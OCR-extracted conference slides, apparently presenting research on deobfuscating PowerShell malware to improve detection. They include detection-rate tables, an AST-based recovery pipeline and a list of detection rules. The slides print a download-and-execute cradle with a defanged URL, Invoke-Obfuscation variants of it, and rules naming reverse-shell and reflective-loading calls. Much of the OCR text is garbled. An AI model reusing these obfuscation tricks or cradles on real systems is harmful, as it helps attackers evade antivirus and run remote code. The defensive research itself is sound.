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Samples | VirusTotal '\ VirusTotal
(Malicious)
Original 100% 100%
(M) S1 0.00% 76.00%
(M) S2 8.00% 90.60%
(M) S3 2.60% 96.00%
(M) S4 0.00% 97.30%
<Ben1gn) 0.00%0 0.00%0
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PowerShell HJiE X 28T

Invoke-Expression (New-Object Net.WebClient)
.DownloadString (“hxxps://.../Invoke-Shellcode.psl”)

Invoke!Expre Ma‘ i Ci Ous

Net.WebClien
.DownloadString ()
“Invoke-Shellcode.psl”
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PowerShell HVRIE V2 - Invoke-Obfuscation!!]

& ($eNv:comspEC[4,15,25]-jOIN' ') (New-Object
NEENWSBCIISHE) . PoWALGAASERING (“hxxps:// . . ./Invoke

-Shellcode.psl”)

~
SNew-Object” = |{1}{0}{2}"-f'w-ob','Ne','ject’
= "Net.W" + "ebClient"

= "dow nlOAd stRIng"

J

Recoverable Script Pieces

12
[1] https://github.com/danielbohannon/Invoke-Obfuscation



PowerShell R E /775 - Invoke-Obfuscationl!
(SeNv:comspEC[4,15,25] ‘)

(.(M"{1}{0}{2}” £ ‘w-ob’ , ‘Ne’ , ‘ject’)

(“Net.W” “ebClient”))

. ("dow nlOAd stRIng”) .Invoke

(“hxxps://.../Invoke-Shellcode.psl”)
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[1] https://github.com/danielbohannon/Invoke-Obfuscation



PowerShell HVRIE V2 - Invoke-Obfuscation!!]

(New-obJeCT ManAgeMEnt.autOmaTIon.PscREDenTiAL
‘' 7/, (‘7UA...AwADgAMQA1ADMANQBkAGYAMQB1AGUAZQBi
ADYAMgAzADkAZQBmMAGUANwWAOADQANWBjADkANGBhADAAYQB
kADQAZAAYAGMAYwAOAGQAMgBkADMAMAA3ADYANgGBmMADgANgG
AOAGMANgAzADgA’ |CONVErtTO-sEcurEstring

kE (195..180)) ) .GetNetWoRKCrEDEntial () .PAsSWor
d ( SeNv:puBLIc[13]+S$SEnV:puBLIC[5]+‘X’)
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[1] https://github.com/danielbohannon/Invoke-Obfuscation
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($eNv:comspEC[4,15,25] VY (. (N {1}{0}{2}”-f‘w-ob’ , ‘Ne’ , ‘ject’)
(“Net.W” “ebClient”)) . (“dow nlOAd stRIng”) .Invoke((‘'6...1" .SPLiT (‘-
gO!y@XM’)
fOrEACH {([chAr]([cONvErT]::ToInt16(($_.tosTrINg()) 16 )))}) )

('6...1’ .SPLiT(‘—q;O!y@)Q/I’) fOrEACH
{ ([chAr] ([cONVErT] : :ToIntl6 (
($_.tosTrINg()),16 )))}) v

$eNv:comspEC[4,15,25] N

.(M{1}{0}{2}"-£‘w-ob’ , ‘Ne’ , ‘ject’) ("Net.W” “ebClient”)

A/\—~

“{1}{0}{2}”"-f‘w-ob’ , ‘Ne’ , ‘ject’ “Net.W” “ebClient”
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& ($eNv:comspEC[4,15,25] 901N ) (. (M {1}{0}{2}”-f‘w-ob’ , ‘Ne’ , ‘ject’)
("“Net.W” + “ebClient”)) . (“dow nlOAd stRIng”) .Invoke((‘'6...1" .SPLiT (‘-
qO!y@XM’) |

fOrEACH {([chAr]([cONvErT]::ToInt16(($_.tosTrINg()),16 )))})-JoIn)

(‘6...1’.SPLiT(‘—éb!y@XM’)| fOrEACH
{ ([chAr] ([cONVErT] : :ToIntl6 (
($ .tosTrINg()),16 )))})-JoIinY’

.(M{1}{0}{2}"-£'‘w-ob’ , ‘Ne’ , ‘ject’) ("Net.W” + “ebClient”)

A/\—~

“{1}{0}{2}”"-f‘w-ob’ , ‘Ne’ , ‘ject’ “Net.W” + “ebClient”

$eNv:comspEC[4,15,25]-j0IN '/

17



fIRVE - B R R _E R 7 & il B R Y B R

& ($eNv:comspEC[4,15,25] 901N ) (. (M {1}{0}{2}”-f‘w-ob’ , ‘Ne’ , ‘ject’)
("“Net.W” + “ebClient”)) . (“dow nlOAd stRIng”) .Invoke((‘'6...1" .SPLiT (‘-

qO!y@XM’) |

fOrEACH {([chAr]([cONvErT]::ToInt16(($_.tosTrINg()),16 )))})-JoIn)

$eNv:comspEC[4,15,25]-j0IN '/

e —

('6...1" .SPLiT(‘'-gO'y@XM’) | f£OrEACH
{ ([chAr] ([cONVErT] : :ToIntl6 (
($_.tosTrINg()),16 )))})-JoIn"’

“{1}{0}{2}"-f‘w-ob’ , ‘Ne’ , ‘ject’

“Net.W” + “ebClient”
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©(MIeX”) (. (’New-Object”)
(“Net.WebClient”)) .

(“downlOAdstRIng”) . Invoke (_
/Invoke-Shellcode.psl”)

Post-Process

IeX (New-Object Net.WebClient).
downlOAdstRIng (“hxxps://.../Invoke-
Shellcode.psl”)

BRI RIE AN ARG TN G SR
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e XA A B B $2 T

Obfuscation Obfuscated Deobfuscated | Deobfuscated
schemes (PSDEM) (our approach)
S1 1.80% 70.60% 71.50%
S2 0.10% 79.50% 79.00%
S3 0.01% 0.01% 82.90%
S4 0.00% 0.00% 85.20%
Overall 0.50% 37.50% 79.70%

Obfuscated Baseline

+79.2%0

+42.2%
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6 N /7 y N
eobfuscation IV eobfuscation
Samples Defender + Defender irusTota + VirusTotal
Original 89.30% 89.30% 100% 100%
S1 0.00% 48.00% 0.00% 76.00%
Malicious S2 1.30% 78.60% 8.00% 90.60%
S3 0.00% 84.00% 2.60% 96.00%
S -00% 8¢-30% 278824 ST FO 0
Benign | Original,S1-4 0.00% 0.00% 0.00% 0.00%

) FP

> 4

-

+74.7%
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+87.3%

+09%0
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OOA rules

Description

NewTask, RegisterTaskDefinition, ...

Scheduled task COM

FromImage, CopyFromScreen, ...

Get-TimedScreenshot

VirtuAlloc, Memset, CreateThread, ...

Reflective Loading

DownloadString, Invoke-Expression

[EX Downloaded String

DownloadFile, Start-Process

Download & Execution

UseshellExecute, TcpClient,
RedirectStandardOutput, GetStream, GetString,

Invoke-Expression, ...

Reserve shell
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Conclusions and Takeaway
FATTE N Ve 3 5 B T H PowerShell HIVEVE MERR,
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Thank you !
li_zhenyuan@qq.com
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Comparison with state-of-the-art approaches

The accuracy of obfuscation detection

Obfuscation detection TPR FPR
Our approach 100% 1.80%
PSDEM [41] 49.90% 22.20%
Comparison with state-of-the-art detection
approaches in TPR
, Obfuscated | Deobfuscated | Mixed
Detection approaches , , ,
scripts scripts scripts
Our approach - 92.30% 92.30%
AST-based [53] 0.00% 00.70% 9.60%
Character-based [32] 12.10% 95.70% 34.70%
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Break-down Analysis

Recover Detecti
Deobfuscation phases eeovery Time cHon
similarity accuracy
w/ all 5 phases 80% 0.46s 92.30%
w/o (1) Extract subtrees -14.70% +404.30% -12.40%
w/0 (2) Obfuscation detection -43.70% +108.70% -54.70%
w/0 (3) Emulation-based
-43.40% +83.70% -53.60%
Recovery
w/0 (4) AST update -0.60% -6.50% -0.10%
w/o (5) Post processing -7.00% -2.10% 0.00%
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Related Work - Script-based Malware Detection

Light- Accur Semantic
ccurac
Weight Y Awareness

Dynamic det.l2ss1 no high yes
Static det.[20:26:32,53] yes low no
Obfuscation det.[14:17,3538] yes low no

Mostly static
deobfuscation

yes higher yes

We proposed the first effective and light—weight deobfuscation
approach for PowerShell.

32



Challenges

RQ1: How to detect obfuscation and locate the

obfuscated script pieces?
Regular Expressix ML-based Classiff&[

RQ2: How to restore the original scripts?
String Manipula%‘x Emulation-based Recovery
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De-obfuscation — Bottom-up Traverse & AST Update

($eNv:comspEC[4,15,25]

gO'!'yQ@XM’)

fOrEACH { ([chAr] ([cONVErT]::ToIntlé6(($ .tosTrINg()),16 )))})

)y (L (Y {1y{0} {2}~
(“Net.W” “ebClient”)) . (“dow nlOAd stRIng”) .Invoke((‘'6...1’ .SPLiT (‘-

$eNv:comspEC[4,15,25] N

('6...1’ .SPLiT(‘-qO!y@XM’)

{ ([chAr] ([cONVErT] : :ToInt
($_.tosTrINg()),16 )))

Obfusacted Subtree
Stack

“{1}{0}{2} ‘w-
| ob’ , ‘Ne’ ‘jJect’

“Net.W” “ebClient

“{1}{0}{2} ‘w-

(" {1}{0}{2}”-f‘w-ob’ , ‘Ne’ , ‘ject’) ("Net.W”

“{1}{0}{2}”-f‘w-ob’ , ‘Ne’ , ‘ject’ “ebClient”

\ N,

ob’ , ‘Ne’ , ‘ject’

$eNv:comspEC 4,15,2
5 AW 4

(‘6...1" .SPLiT ..
~r16.)))1}) v

($eNv:comspEC 4,15
25 .. ))}) ‘)




De-obfuscation — Bottom-up Emulation-based Recovery

($eNv:comspEC[4,15,25] VY (. (N {1}{0}{2}”-f‘w-ob’ , ‘Ne’ , ‘ject’)
(“Net.W” “ebClient”)) . (“dow nlOAd stRIng”) .Invoke((‘'6...1" .SPLiT (‘-
qO!y@XM’")
fOrEACH { ([chAr] ([cONVErT]::ToIntl6(($ .tosTrINg()),16 )))}) )

—————
('6...1’ .SPLiT(‘-qO!y@XM’) | £OrEACH
$eNv:comspEC[4,15,25] A { ([chAr] ([cONVErT] : :ToIntl6 (

($_.tosTrINg()),16 )))}) v

.(M{1}{0}{2}"-£‘w-ob’ , ‘Ne’ , ‘ject’) ("Net.W” “ebClient”)

A/\—~

“{1}{0}{2}"-f‘w-ob’ , ‘Ne’ , ‘ject’

“Net.W” “ebClient”
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De-obfuscation — Bottom-up Traverse & AST Update

« (NIeXY) (. (PNew=Object)
(“Net.WebClient”)) .

(“downlOAdstRIng”) . Invoke (NHEEPSI//IN
/Invoke-Shellcode.psl”)

Post-Process

IeX (New-Object Net.WebClient).
downlOAdstRIng (“hxxps://.../Invoke-
Shellcode.psl”)




